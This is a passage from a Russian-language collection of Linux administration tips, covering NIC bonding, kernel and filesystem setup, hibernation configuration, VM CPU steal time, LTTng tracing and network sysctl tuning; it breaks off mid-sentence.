    Или для дистрибутивов в которых используется пакет initscripts (http://rhlinux.redhat.com/initscripts/):
    
       /etc/sysconfig/network-scripts/ifcfg-bond0
         DEVICE=bond0
         BOOTPROTO=static
         BROADCAST=192.168.63.255
         IPADDR=192.168.1.1
         NETMASK=255.255.255.0
         NETWORK=192.168.0.0
         ONBOOT=yes
    
       /etc/sysconfig/network-scripts/ifcfg-eth0
         DEVICE=eth0
         BOOTPROTO=static
         ONBOOT=yes
         MASTER=bond0
         SLAVE=yes
         USERCTL=no
    
       /etc/sysconfig/network-scripts/ifcfg-eth1
         DEVICE=eth1
         BOOTPROTO=static
         ONBOOT=yes
         MASTER=bond0
         SLAVE=yes
         USERCTL=no
    
     
    ----* Как посмотреть какой процесс открыл слишком много файлов под Linux   [комментарии]
     
      find /proc -name fd -type d -exec sh -c "echo \`ls {}|wc -l\` {}" \;|sort -n -r|head
     или использовать утилиту lsof
    
     
    ----* Как, после сборки ядра Linux, инициализировать initrd (ядро падает при монтировании root раздела) (доп. ссылка 1)   Автор: as  [комментарии]
     
    initrd - RAM-диск, инициализируемый загрузчиком, требуется для подключения
    модулей ядра, необходимых
    на этапе до монтирования root-раздела, (например, до монтирования нужно
    подгрузить - ext2/ext3/scsi модули).
    
    1) man initrd - все изумительно описано;
    2) после сборки ядра создаем новый initrd:
        mkinitrd /boot/initrd-2.4.21 2.4.21;
    3) в /etc/lilo.conf:
       initrd=/boot/initrd-2.4.21 
    В mkinitrd сам initrd можно назвать как угодно, но второй параметр обязательно версия ядра. 
    
     
    ----* Как в Linux после kernel panic вместо ожидания действия оператора автоматически выполнять перезагрузку.   [комментарии]
     
    Добавьте в /etc/rc.d/rc.local:
        echo 1 > /proc/sys/kernel/panic
    Т.е. перезагрузка будет выполнена через 1 сек. после panic, если 0 - то не перезагружать а ждать.
    
     
    ----* Почему Linux ядро не использует всю память и пишет "Warning only 960MB will be used".   [комментарии]
     
    Если добавление в lilo append="mem=1536M" не помогает:
    
    Необходимо пересобрать 2.2.x ядро с опцией CONFIG_2GB=y
    Processor type and features -> Maximum Physical Memory -> 2Gb
    
    Если проблема проявляется в ядре 2.4.x - CONFIG_HIGHMEM, CONFIG_HIGHMEM4G или CONFIG_HIGHMEM64G
    
     
    ----* Ограничения трафика с помощью iproute2 (доп. ссылка 1)   Автор: Z0termaNN  [комментарии]
     
    tc qdisc add dev eth1 root handle 1: htb default 2 r2q 1
    tc class add dev eth1 parent 1: classid 1:1 htb rate 10mbit ceil 10mbit mtu 1500
    tc class add dev eth1 parent 1:1 classid 1:77 htb rate 32kbit ceil 48kbit mtu 1500 prio 0
    tc class add dev eth1 parent 1:1 classid 1:2  htb rate 128kbit ceil 128kbit mtu 1500
    tc filter add dev eth1 protocol ip parent 1:0 prio 1 u32 match ip dport 25 flowid 1:77
    
     
    ----* Переход на журналируемую файловую систему Reiserfs   [комментарии]
     
    - Включаем поддержку Reiserfs в ядре.
    - Устанавливаем reiserfsprogs-3.x.0j.tar.gz 
    - Cоздаем бут дискету (mkbootdisk --device /dev/fd0 2.4.13;
    lilo -C /etc/lilo.flop) 
    - Грузимся с дискеты указав в Lilo приглашении "linux root=/dev/hd init=/bin/bash"
    - mkreiserfs /dev/hda1 
    - mount -t reiserfs /dev/had1 / 
    
     
    ----* Как под Linux установить параметры serial порта (прерывание, адрес порта)   [обсудить]
     
    /bin/setserial -b /dev/ttyS2 uart 16450 port 0x2E8 irq 5
    
     
    ----* Как через poweroff обеспечить выключение системного блока   Автор: Alexander  [обсудить]
     
    Если при наборе /sbin/poweroff отключение питания не срабатывает, то:
       /sbin/modprobe ospm_busmgr 
       /sbin/modprobe ospm_system
    или в /etc/modules.conf:
       alias ospm-busmgr ospm_busmgr
       alias ospm-busmgr ospm_system
    
     
    ----* Как посмотреть параметры и возможные опции для модуля ядра Linux   [обсудить]
     
    Информация о авторе.
       modinfo -a модуль 
    Описание модуля. 
       modinfo -d модуль
    Список возможных параметров.
       modinfo -p модуль
    
     
    ----* Как в Linux выставить принудительно 100Mb FullDuplex для Intel EtherExpress Pro100, а то auto-select с некоторыми свичами не работает. (доп. ссылка 1)   [обсудить]
     
    /sbin/mii-tool -F 100baseTx-FD eth0
    или ethtool -s eth0 speed 100 duplex full autoneg off
    
    Для модуля:
    В /etc/modules.conf:  
      options eepro100 options=0x200 full_duplex=1
      alias eth0 eepro100 
    insmod eepro100.o debug=1 options=0x200
    Для ядра в boot приглашении:
         ether=0,0,0x200,eth0 
    PS. Для драйвера версии меньше 1.14 (mod_info -a eepro100) вместо 0x200 следует писать 0x30.
    
     
    ----* Как перейти в Linux на файловую систему ext3 (доп. ссылка 1)   [комментарии]
     
    Выкачиваем и накладываем ext3 патчи (ftp://ftp.kernel.org/pub/linux/kernel/people/sct/ext3/) и 
    утилиты (ftp://download.sourceforge.net/pub/sourceforge/e2fsprogs/).
    Преобразуем ext2 FS в ext3 (для отмонтированного раздела hda1):
       tune2fs -j /dev/hda1
    Обратное преобразование (из ext3 в ext2):
       tune2fs -O ^has_journal /dev/hda1
       fsck.ext2 -f /dev/hdaX
    Для форматирование нового ext3 раздела:
       mke2fs -j /dev/hda1
    Как обновить версию журнала:
       mount /dev/hdaX /mnt -o journal=update
    
     
    ----* Как посмотреть установки конфигурации для бинарного ядра Linux   [обсудить]
     
    Если ядро было собрано с опцией CONFIG_PROC_CONFIG=Y:
    zcat /proc/config.gz
    
     
    ----* Активация режима гибернации в KDE neon   Автор: popov895  [комментарии]
     
    Алгоритм почти такой же, как и для openSUSE, но небольшие отличия все-таки
    есть. Итак, создаём файл подкачки. Я решил разместить его в каталоге
    /var/lib/swap. Создаём каталог и закрываем к нему доступ всем, кроме root:
    
       sudo mkdir -p /var/lib/swap
       sudo chmod 700 /var/lib/swap
    
    Создаём файл, который будет использоваться как файл подкачки (у меня он будет
    размером 11 Гб), и закрываем к нему доступ всем, кроме root:
    
       sudo fallocate -l 11G /var/lib/swap/swapfile
       sudo chmod 600 /var/lib/swap/swapfile
    
    Настраиваем и активируем файл подкачки:
    
       sudo mkswap /var/lib/swap/swapfile
       sudo swapon /var/lib/swap/swapfile
    
    Чтобы файл подкачки автоматически монтировался во время загрузки, необходимо
    прописать его в /etc/fstab. Не забываем делать резервные копии
    системных файлов, которые планируем редактировать!:
    
       /var/lib/swap/swapfile none swap defaults 0 0
    
    
    Далее нам нужно указать в grub, откуда система должна загружать данные после
    выхода из режима гибернации. Нам нужно узнать:
    1. ID раздела, на котором находится файл подкачки
    2. физическое смещение файла подкачки на этом разделе.
    ID раздела мы можем найти в том же /etc/fstab. У меня этот ID равен b92afe00-6cc9-4231-a03e-282bc6a560ef:
    
       cat /etc/fstab
       UUID=b92afe00-6cc9-4231-a03e-282bc6a560ef / ext4 defaults 0 1
    
    Смещение находим с помощью команды swap-offset, у меня это значение равно 317440:
    
       sudo swap-offset /var/lib/swap/swapfile
       resume offset = 317440
    
    Записываем полученные данные в файл /etc/default/grub. Находим
    параметр GRUB_CMDLINE_LINUX_DEFAULT и добавляем к нему запись вида
    resume=UUID=<UUID> resume_offset=<offset>. У меня это выглядит так:
    
       GRUB_CMDLINE_LINUX_DEFAULT="splash=silent mitigations=auto quiet resume=UUID=b92afe00-6cc9-4231-a03e-282bc6a560ef resume_offset=317440"
    
    Далее необходимо обновить файл конфигурации grub:
    
       sudo update-grub
    
    Гибернация уже должна работать, это можно проверить с помощью команды
    systemctl hibernate. Единственное, чего нам не хватает - возможности
    перехода в режим гибернации из пользовательского интерфейса. Чтобы это
    исправить, нам нужно создать файл
    /etc/polkit-1/localauthority/50-local.d/99-hibernate.pkla с таким содержимым:
    
       [Enable hibernate in upower]
       Identity=unix-user:*
       Action=org.freedesktop.upower.hibernate
       ResultActive=yes
       
       [Enable hibernate in logind]
       Identity=unix-user:*
       Action=org.freedesktop.login1.hibernate;org.freedesktop.login1.handle-hibernate-key;org.freedesktop.login1;org.freedesktop.login1.hibernate-multiple-sessions;org.freedesktop.login1.hibernate-ignore-inhibit
       ResultActive=yes
    
    Перезагружаемся и проверяем работу режима гибернации.
    
     
    ----* Активация режима гибернации в openSUSE Tumbleweed   Автор: popov895  [комментарии]
     
    Имеется установленная openSUSE Tumbleweed с KDE, на разделах в качестве
    файловой системы используется ext4. Чтобы иметь возможность использовать
    гибернацию, необходимо иметь раздел подкачки или файл подкачки. Я предпочитаю
    использовать файл подкачки, потому что в любое время можно легко изменить его
    размер или вовсе его удалить, С разделом же придется повозится. Я буду
    использовать файл подкачки. В случае с btrfs следует использовать раздел подкачки.
    
    Итак, создаём файл подкачки. Чтобы он не мозолил глаза, я решил разместить его
    в каталоге /var/lib/swap. Создаём каталог:
    
       sudo mkdir -p /var/lib/swap
    
    Закрываем к нему доступ всем, кроме root:
    
       sudo chmod 700 /var/lib/swap
    
    Чтобы выбрать оптимальный размер файла подкачки, я воспользовался таблицей.
    Для себя я выбрал размер 11 Гб (11534336 байт). Создаем файл, который будет
    использоваться как файл подкачки:
    
       sudo dd if=/dev/zero of=/var/lib/swap/swapfile bs=1024 count=11534336
    
    Закрываем к нему доступ всем, кроме root:
    
       sudo chmod 600 /var/lib/swap/swapfile
    
    Настраиваем файл подкачки:
    
       sudo mkswap /var/lib/swap/swapfile
    
    Активируем файл подкачки:
    
       sudo swapon /var/lib/swap/swapfile
    
    Уже после этих действий должен появится пункт перехода в режим гибернации, но
    сама режим пока что работать не будет. Чтобы файл подкачки автоматически
    монтировался во время загрузки, необходимо прописать его в
    /etc/fstab. Не забываем делать резервные копии системных
    файлов, которые планируем редактировать!:
    
       /var/lib/swap/swapfile none swap defaults 0 0
    
    Далее нам нужно указать в grub, откуда система должна загружать данные после
    выхода из режима гибернации. Нам нужно узнать:
    1. ID раздела, на котором находится файл подкачки
    2. физическое смещение файла подкачки на этом разделе.
    ID раздела мы можем найти в том же /etc/fstab. У меня этот ID равен f68ed3c5-da10-4288-890f-b83d8763e85e:
    
       cat /etc/fstab
       UUID=4e73657c-f1d2-4f52-9909-1226a6fe6493  /          ext4  defaults          0  1
    
    Смещение находим с помощью команды filefrag. Значением смещения
    является левое верхнее число столбца physical_offset в двумя горизонтальными
    точками (..) в конце. У меня это значение равно 337920:
    
       sudo filefrag -v /var/lib/swap/swapfile
       File size of /var/lib/swap/swapfile is 11811160064 (2883584 blocks of 4096 bytes)
       ext:     logical_offset:        physical_offset: length:   expected: flags:
       0:        0..   14335:     337920..    352255:  14336:
       1:    14336..   20479:     378880..    385023:   6144:     352256:
       2:    20480..   22527:     387072..    389119:   2048:     385024:
       ...
    
    Записываем полученные данные в файл /etc/default/grub. Находим
    параметр GRUB_CMDLINE_LINUX_DEFAULT и добавляем к нему запись вида
    resume=UUID=<UUID> resume_offset=<offset>. У меня это выглядит так:
    
       GRUB_CMDLINE_LINUX_DEFAULT="splash=silent mitigations=auto quiet resume=UUID=4e73657c-f1d2-4f52-9909-1226a6fe6493 resume_offset=337920"
    
    Далее необходимо обновить файл конфигурации grub:
    
       sudo grub2-mkconfig -o /boot/grub2/grub.cfg
    
    или для EFI:
    
       sudo grub2-mkconfig -o /boot/efi/EFI/opensuse/grub.cfg
    
    И последнее, что нам нужно сделать - пересобрать initramfs с поддержкой модуля
    resume. Для этого создаём файл /etc/dracut.conf.d/99-resume.conf с
    таким содержимым:
    
       add_dracutmodules+=resume
    
    И, собственно, пересобираем initramfs:
    
       sudo dracut -fv
    
    Перезагружаемся и проверяем работу режима гибернации.
    
     
    ----* Откуда берется steal внутри виртуальных машин и что с этим делать (доп. ссылка 1)   Автор: Mail.Ru Cloud Solutions  [комментарии]
     
    CPU steal time - это время, в течение которого виртуальная машина не получает
    ресурсы процессора для своего выполнения. Это время считается только в гостевых
    операционных системах в средах виртуализации.
    
    Что такое steal
    
    Steal  - это метрика, указывающая на нехватку процессорного времени для
    процессов внутри виртуальной машины. Как описано в патче ядра KVM, steal -
    это время, в течение которого гипервизор выполняет другие процессы на хостовой
    операционной системе, хотя он поставил процесс виртуальной машины в очередь на
    выполнение. То есть steal считается как разница между временем, когда процесс
    готов выполниться, и временем, когда процессу выделено процессорное время.
    
    Метрику steal ядро виртуальной машины получает от гипервизора. При этом
    гипервизор не уточняет, какие именно другие процессы он выполняет, просто
    "пока занят, тебе времени уделить не могу". На KVM поддержка подсчёта
    steal добавлена в патчах. Ключевых моментов здесь два:
    
    1.   Виртуальная машина узнает о steal от гипервизора. То есть, с точки зрения
    потерь, для процессов на самой виртуалке это непрямое измерение, которое может
    быть подвержено различным искажениям.
    
    2.   Гипервизор не делится с виртуалкой информацией о том, чем он занят -
    главное, что он не уделяет время ей. Из-за этого сама виртуалка не может
    выявить искажения в показателе steal, которые можно было бы оценить по
    характеру конкурирующих процессов.
    
    Как вычислить steal
    
    По сути, steal считается как обычное время утилизации процессора. В ядре
    добавляется ещё один счетчик непосредственно для процесса KVM (процесса
    виртуальной машины), который считает длительность пребывания процесса KVM в
    состоянии ожидания процессорного времени. Счетчик берет информацию о процессоре
    из его спецификации и смотрит, все ли его тики утилизированы процессом
    виртуалки. Если все, то считаем, что процессор занимался только процессом
    виртуальной машины. В ином случае информируем, что процессор занимался чем-то
    еще, появился steal.
    Подробнее читайте в статье Brendann Gregg.
    
    Как мониторить steal
    
    Мониторить steal внутри виртуальной машины можно как любую другую процессорную
    метрику. Главное, чтобы виртуалка была на Linux. Windows  такую информацию не предоставляет.
    
    Сложность возникает при попытке получить эту информацию с гипервизора. Можно
    попробовать спрогнозировать steal на хостовой машине, например, по параметру
    Load Average (LA) - усредненного значения количества процессов, ожидающих в
    очереди на выполнение. Методика подсчета этого параметра непростая, но в целом
    пронормированный по количеству потоков процессора LA > 1 указывает на
    перегрузку Linux-сервера.
    
    Чего же ждут все эти процессы? Очевидный ответ - процессора. Но иногда
    процессор свободен, а LA зашкаливает. На самом деле, процессы могут ожидать
    окончания любой блокировки, как физической, связанной с устройством
    ввода/вывода, так и логической, например мьютекса. Туда же относятся блокировки
    на уровне железа (того же ответа от диска) или логики (так называемых
    блокировочных примитивов).
    
    Ещё одна особенность LA в том, что оно считается как среднее значение по ОС,
    причём не меньше, чем за минуту. Например, 100 процессов конкурируют за один
    файл, тогда LA=50. Такое большое значение, казалось бы, говорит, что ОС плохо.
    Но для криво написанного кода это может быть нормой - плохо только ему, а
    другие процессы не страдают. Из-за этого усреднения (причём не меньше, чем за
    минуту), определение чего-либо по LA может закончиться весьма неопределенными
    результатами в конкретных случаях.
    
    Почему появляется steal и что делать
    
    Остановимся на основных причинах появления steal, с которыми мы столкнулись при
    работе с облачной платформой MCS, и способах борьбы с ними.
    
    Переутилизация. Самое простое и частое - много запущенных виртуальных машин,
    большое потребление процессора внутри них, большая конкуренция, утилизация по
    LA больше 1 (в нормировке по процессорным тредам). Внутри всех виртуалок всё
    тормозит. Steal, передаваемый с гипервизора, также растёт, надо
    перераспределять нагрузку или кого-то выключать.
    При этом нужно учитывать, что соотношение нагрузки на гипервизоре и steal
    внутри виртуальной машины не всегда однозначно взаимосвязаны. Обе оценки steal
    могут быть ошибочными в конкретных ситуациях при разных нагрузках.
    
    Паравиртуализация против одиноких инстансов. На гипервизоре одна единственная
    виртуалка, она потребляет небольшую его часть, но дает большую нагрузку по
    вводу/выводу, например по диску. И откуда-то в ней появляется небольшой steal,
    до 10%.
    
    Тут дело как раз в блокировках на уровне паравиртуализированных драйверов.
    Внутри виртуалки создается прерывание, оно обрабатывается драйвером и уходит в
    гипервизор. Из-за обработки прерывания на гипервизоре для виртуалки это
    выглядит как отправленный запрос, она готова к исполнению и ждёт процессора, но
    процессорного времени ей не дают. Виртуалка думает, что это время украдено.
    
    Это происходит в момент отправки буфера, он уходит в kernel space гипервизора,
    и мы начинаем его ждать. Хотя, с точки зрения виртуалки, он должен сразу
    вернуться. Следовательно, по алгоритму расчета steal это время считается
    украденным. Скорее всего, в этой ситуации могут быть и другие механизмы
    (например, обработка ещё каких-нибудь sys calls), но они не должны сильно отличаться.
    
    Небольшой steal можно считать нормой (даже и без паравиртуализации, с учётом
    нагрузки внутри виртуалки, особенностей нагрузки соседей, распределения
    нагрузки по тредам и прочего). Однако важно обращать внимание на то, как себя
    чувствуют приложения внутри виртуалок.
    
    Шедулер против высоконагруженных виртуалок. Когда одна виртуалка страдает от
    steal больше других, это связано с шедулером (распределением ресурсов между
    процессами) - чем сильнее процесс нагружает процессор, тем скорее шедулер
    его выгонит, чтобы остальные тоже могли поработать. Если виртуалка потребляет
    немного, она почти не увидит steal: её процесс честно сидел и ждал, ему дадут
    время. Если виртуалка дает максимальную нагрузку по всем своим ядрам, её чаще
    выгоняют с процессора и не дают много времени. Шедулер плохо относится к
    процессам, которые много просят. Большие виртуалки - зло.
    
    Низкий LA, но есть steal. LA примерно 0,7 (то есть, гипервизор, кажется
    недозагружен), но внутри отдельных виртуалок наблюдается steal:
    
    1.   Уже описанный выше вариант с паравиртуализацией. Виртуалка может получать
    метрики, указывающие на steal, хотя у гипервизора всё хорошо. По результатам
    наших экспериментов, такой вариант steal не превышает 10 % и не должен
    оказывать существенного влияния на производительность приложений внутри виртуалки.
    
    2.   Неверно считается LA. Точнее, в каждый конкретный момент он считается
    верно, но при усреднении получается заниженным. Например, если одна виртуалка
    на треть гипервизора потребляет все свои процессоры ровно полминуты, LA за
    минуту на гипервизоре будет 0,15; четыре такие виртуалки, работающие
    одновременно, дадут 0,6. А то, что полминуты на каждой из них был steal под 25
    % по LA, уже не вытащить.
    
    3.   Из-за шедулера, решившего, что кто-то слишком много ест, и пусть он
    подождет, пока я займусь другими важными системными вещами. В итоге одни
    виртуалки не видят никаких проблем, а другие испытывают серьезную деградацию производительности.
    
    Другие искажения
    
    Есть другие причины для искажений честной отдачи процессорного времени на
    виртуалке. Например, сложности в расчёты вносят гипертрединг и NUMA. Они
    запутывают выбор ядра для исполнения процесса, потому что шедулер использует
    коэффициенты - веса, которые при переключении контекста выполняют
    усложнённый подсчёт.
    
    Бывают искажения из-за технологий типа турбобуста или, наоборот, режима
    энергосбережения, которые при подсчёте утилизации могут искусственно повышать
    или понижать частоту или даже квант времени на сервере. Включение турбобуста
    уменьшает производительность одного процессорного треда из-за увеличения
    производительности другого. В этот момент информация об актуальной частоте
    процессора виртуальной машине не передается, и она считает, что её время кто-то
    тырит (например, она запрашивала 2 ГГц, а получила вдвое меньше).
    
    В общем, причин искажений может быть много. Чтобы выяснить steal в конкретной
    системе, исследуйте различные варианты, собирайте метрики, тщательно их
    анализируйте и продумывайте, как равномерно распределять нагрузку. От любых
    кейсов возможны отклонения, которые надо подтверждать экспериментально или
    смотреть в отладчике ядра. Начать лучше с книг, на которые я дал линки выше, и
    съёма статистики с гипервизора утилитами типа perf, sysdig, systemtap, коих десятки.
    
     
    ----* Как изменить параметры последовательного порта в Linux (доп. ссылка 1)   [комментарии]
     
    Вывод на экран текущих параметров:
        stty -F /dev/ttyS0 -a
        setserial -g /dev/ttyS0
    
    Включение Hardware flow control (RTS/CTS):
        stty -F /dev/ttyS0 crtscts
    
    Установка скорости порта:
        stty -F /dev/ttyS0 9600
    
    Установка прерывания и типа UART:
        setserial /dev/ttyS0 auto_irq skip_test autoconfig
        setserial /dev/ttyS0 irq 5 uart 16550A  skip_test
    
     
    ----* Как узнать подробную информацию о EX2FS, размер блоков, системные данные и т.д.   [обсудить]
     
    общие данные из суперблока - dumpe2fs -h /dev/раздел
    информацию о каждом блоке - dumpe2fs /dev/раздел
    Для FreeBSD нужно использовать dumpfs.
    
     

       Оптимизация и тюнинг в Linux

    ----* Использование LTTng для прозрачной трассировки приложений в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Система трассировки LTTng (http://lttng.org/) работает на уровне Linux-ядра и
    отличается минимальным влиянием на работу профилируемого приложения, что
    позволяет приблизить условия работы данного приложения к его выполнению без
    использования трассировки (например, позволяет выявлять проблемы с
    производительностью в программах, работающих в реальном режиме времени).
    
    Поддержка LTTng пока не включена в состав Linux-ядра, но недавно для Ubuntu
    Linux  был подготовлен специальный PPA-репозиторий, позволяющий значительно
    упростить установку LTTng.
    
    Приведем пример использования LTTng для отладки системы и тюнинга производительности.
    
    Подключаем репозиторий:
    
       sudo add-apt-repository ppa:lttng/ppa
       sudo aptitude update
    
    Устанавливаем компоненты для трассировки ядра (LTTng работает только с ядром
    2.6.35, поэтому в Ubuntu 10.04 может потребоваться установка экспериментального
    пакета с более новым ядром):
    
       sudo apt-get install lttng
    
    Установка утилит для трассировки пользовательских приложений:
    
       sudo apt-get install ust-bin libust-dev liburcu-dev
    
    Пример поддержи трассировки на уровне ядра
    
    Загружаем ядро lttng:
    
       sudo ltt-armall
    
    Начинаем трассировку:
    
       sudo lttctl -C -w /tmp/trace1 программа
    
    Прекращаем трассировку:
    
       sudo lttctl -D программа
    
    Результаты трассировки /tmp/trace1 теперь можно открыть в утилите lttv или
    использовать режим текстового дампа:
    
       lttv -m textDump -t /tmp/trace1 | grep ...
    
    
    Трассировка пользовательских приложений со связыванием специальной библиотеки
    
    Собираем приложения добавив в опции сборки флаг '-lust'.
    
    Запускаем приложение с трассировкой:
    
       usttrace исследуемая_программа
    
    Контроль трассировки с удаленной машины
    
    На локальной машине устанавливаем и запускаем программу-агент:
    
       sudo apt-get install tcf-lttng-agent
       sudo tcf-agent
    
    На удаленной машине устанавливаем и запускаем клиента:
    
       sudo apt-get install tcf-lttng-client
       tcf-client
    
    далее, в появившейся консоли вводим:
       connect ip_локальной_машины
    
    и после соединения передаем управляющие команды:
       tcf ltt_control getProviders
       tcf ltt_control setupTrace "kernel" "0" "traceTest"
    
    
    Пример трассировки
    
    Рассмотрим для примера простую программу, открывающую файл и записывающую в него циклично числа.
    
        #include <stdio.h>
        #define INT_MAX 2147483647
        int main(volatile int argc, char **argv) {
          int i = 3;
          FILE *fd = fopen("test.out", "w");
          fwrite(&i, sizeof(int), 1, fd);
          fclose(fd);
          volatile long a;
          int x;
          for (x = 0; x<INT_MAX; x++) {
            a++;
          }
          return 0;
       }
    
    Собираем данную программу:
    
       gcc -o usecase usecase.c
     
      
    Теперь попробуем выполнить трассировку при помощи LTTng.
    
    Активируем точки трассировки в ядре:
    
       sudo ltt-armall
    
    Для автоматизации выполнения активации трассировки, запуска программы и
    остановки трассировки напишем небольшой скрипт trace-cmd.sh:
    
       #!/bin/sh
       if [ -z "$@" ]; then
         echo "missing command argument"
         exit 1
       fi
       cmd="$@"
    
       name="cmd"
       dir="$(pwd)/trace-$name"
       sudo rm -rf $dir
       sudo lttctl -o channel.all.bufnum=8 -C -w $dir $name
       echo "executing $cmd..."
       $cmd
       echo "return code: $?" 
       sudo lttctl -D $name
    
    Запускаем:
    
       ./trace-cmd.sh ./usecase
    
    После выполнения трассировки для наглядного анализа результатов запускаем
    GUI-утилиту lttv-gui, заходим в меню File->Add и выбираем  директорию
    трассировки  "trace-имя", сохраненную в каталоге, в котором был запущен скрипт
    trace-cmd.sh. Каждое из событий трассировки представлено в виде графика. Для
    нашего тестового приложения будет присутствовать три фазы: создание/доступ к
    файлу, вычислительная фаза и завершение процесса.
    
    Оценка различий от strace
    
    Если сравнить результаты работы стандартной утилиты strace:
    
       strace -o usecase.strace ./usecase
    
    В дополнение к системным вызовам, LTTng учитывает задействование подсистем
    ядра, события планировщика задач, обработку прерываний и прочие детали,
    недоступные в выводе strace. Но самым интересным отличием от strace является
    то, что программа никаким образом не может определить, что подвергается
    трассировке. Время наступления событий отображается в наносекундах. Влияние на
    производительность трассировки минимально, тестирование показало, что работа
    замедляется не более чем на 3%.
    
     
    ----* Часто используемые параметры sysctl, касающиеся настройки сети в Linux (доп. ссылка 1)   Автор: zersh  [комментарии]
     
    От переводчика (@zersh).
    
    Это адаптированный перевод работы https://github.com/leandromoreira/linux-network-performance-parameters
    Для понимания некоторых моментов использовалась статья. Принимаются любые
    замечания и предложения. Спасибо zizmo и @servers(Artem) - за помощь и
    конструктивную критику)
    Лицензия: BSD-3
    
    Введение
    
    Иногда люди пытаются найти некие универсальные значения параметров sysctl
    (https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt), применение
    которых во всех случаях позволит добиться и высокой пропускной способности, и
    низкой задержки при обработке сетевых запросов. К сожалению, это не возможно,
    хотя стоит отметить, что современные версии ядер по умолчанию уже неплохо
    настроены. Важно понимать, что изменение заданных по умолчанию настроек может
    ухудшить производительность (https://medium.com/@duhroach/the-bandwidth-delay-problem-c6a2a578b211).
    
    Это краткое руководство, в котором приведены часто используемые параметры
    sysctl, касающиеся настройки сети Linux, вдохновлённый иллюстрированным
    руководством по сетевому стеку Linux
    (https://blog.packagecloud.io/eng/2016/10/11/monitoring-tuning-linux-networking-stack-receiving-data-illustrated/) и
     многими постами Marek Majkowski (https://blog.cloudflare.com/how-to-achieve-low-latency/).
    
    
    Обзор сетевых очередей Linux
    
    
    
    
    
    Связь переменных sysctl с различными стадиями обработки сетевых потоков в Linux
    
    
    Входящие пакеты (Ingress)
    
    1. Пакеты прибывают в NIC (сетевой адаптер)
    
    2. NIC проверяет `MAC` (если не включён promiscuous-режим) и `FCS (Frame check
    sequence)` и принимает решение отбросить пакет или продолжить обработку.
    
    3. NIC используя DMA (https://en.wikipedia.org/wiki/Direct_memory_access),
    помещает пакеты в RAM регионе, ранее подготовленном (mapped) драйвером.
    
    4. NIC ставит ссылки в очередь на пакеты при получении ring buffer
    (https://en.wikipedia.org/wiki/Circular_buffer) очередь `rx` до истечения
    таймаута  `rx-usecs` или `rx-frames`
    
    5. NIC Генерируется аппаратное прерывание, чтобы система узнала о появлении
    пакета в памяти `hard IRQ`
    
    6. CPU запустит `IRQ handler`, который запускает код драйвера
    
    7. Драйвер вызовет  `планировщик NAPI`, очистит `hard IRQ` 
    
    8. Драйвер будит подсистему NAPI с помощью `soft IRQ (NET_RX_SOFTIRQ)`
    
    9. NAPI опрашивает данные, полученные из кольцевого буфера до тех пор пока не
    истечёт таймаут `netdev_budget_usecs`, или `netdev_budget` и `dev_weight` пакета
    
    10. Linux также выделяет память для `sk_buff`
    
    11. Linux заполняет метаданные: протокол, интерфейс, устанавливает MAC-адрес
    (setmacheader), удаляет ethernet
    
    12. Linux передаёт skb (данные) в стэк ядра (`netif_receive_skb`)
    
    13. Установит сетевые заголовки, клонирует `skb` ловушкам (вроде tcpdump) и передаст на вход
    
    14. Пакеты обрабатываются в qdisc (Queueing discipline) размера
    `netdev_max_backlog`, алгоритм которого определяется `default_qdisc`
    
    15. Вызывает `ip_rcv` и пакеты обрабатываются в IP
    
    16. Вызывает netfilter (`PREROUTING`)
    
    17. Проверяет маршрутизацию, кому предназначен пакет: переслать (forwarding) или локально (local)
    
    18. Если локально, вызывает netfilter (`LOCAL_IN`)
    
    19. Это вызовет протокол L4 (для примера `tcp_v4_rcv`)
    
    20. Находит нужный сокет
    
    21. Переходит на конечный автомат tcp (finite state machine).
    
    22. Поставит пакет в входящий буфер, размер которого определяется правилами
    `tcp_rmem`. Если `tcp_moderate_rcvbuf` включён, ядро будет автоматически тюнить
     буфер приёма (receive)
    
    23. Ядро сигнализирует приложению, что доступны данные (epoll или другая  polling-система)
    
    24. Приложение просыпается и читает данные
    
    Исходящие пакеты (Egress)
    
    1. Приложение отправляет сообщение (`sendmsg` или другие)
    
    2. TCP-стек выделяет память для skb_buff
    
    3. Помещает skb в сокет буфера, размером `tcp_wmem`
    
    4. Создаст TCP заголовки (источник и порт назначения, контрольная сумма)
    
    5. Вызывает обработчик L3 (в данном случае `ipv4` в `tcp_write_xmit` и 
    `tcp_transmit_skb`)
    
    6. L3 (`ip_queue_xmit`)  построит заголовок IP и вызовет netfilter (`LOCAL_OUT`)
    
    7. Вызывает действие выходного маршрута (Calls output route action)
    
    8. Вызывает netfilter (`POST_ROUTING`)
    
    9. Фрагментирует пакет (`ip_output`)
    
    10. Вызывает функции отправки L2 (`dev_queue_xmit`)
    
    11. Подаёт на выход (QDisc) очередь длинной `txqueuelen` с алгоритмом `default_qdisc`
    
    12. Код драйвера помещает пакеты в `ring buffer tx`
    
    13. Драйвер генерирует `soft IRQ (NET_TX_SOFTIRQ)` после `tx-usecs` таймаута или `tx-frames`
    
    14. Реактивирует аппаратное прерывание (IRQ) в NIC
    
    15. Драйвер отражает (map) все пакеты (для отправки) в некоторую область DMA
    
    16. NIC получит пакеты (через DMA) из RAM для передачи
    
    17. После передачи NIC поднимет сигнал `hard IRQ` о его завершении
    
    18. Драйвер обработает это прерывание IRQ (выключает)
    
    19. И планирует (`soft IRQ`) NAPI poll system 
    
    20. NAPI будет обрабатывать сигналы приёма пакетов и освобождать ОЗУ
    
    
    Для отслеживания обработки событий, связанных с выполнением сетевой операции,
    можно использовать команду:
    
       perf trace --no-syscalls --event 'net:*' ping globo.com -c1 > /dev/null
    
    
    
    
    Что, Почему и Как - сеть и  sysctl параметры
    
    Кольцевой буфер (Ring Buffer) - rx, tx
    
    Что: драйвер очереди приёма/отправки одной или нескольких очередей с
    фиксированным размером, обычно реализованный как FIFO, находится в ОЗУ
    
    Почему: буфер для плавного прима соединений без их отбрасывания. Возможно, вам
    понадобится увеличить эти очереди, когда вы увидите сбросы (drops) или
    переполнения, то есть, если поступает больше пакетов, чем ядро может
    обработать. Побочным эффектом от увеличения буфера может стать увеличение задержки.
    
    Как:
    
    Команда проверки: 
    
       ethtool -g ethX
    
    Как изменить: 
    
       ethtool -G ethX rx значение tx значение
    
    Как мониторить: 
    
       ethtool -S ethX | grep -e "err" -e "drop" -e "over" -e "miss" -e "timeout" -e "reset" -e "restar" -e "collis" -e "over" | grep -v "\: 0"
     
    Слияние прерываний (Interrupt Coalescence - IC) - rx-usecs, tx-usecs,
    rx-frames, tx-frames (аппаратные IRQ)
    
    Что: количество микросекунд / кадров, ожидающих перед поднятием hard IRQ, с
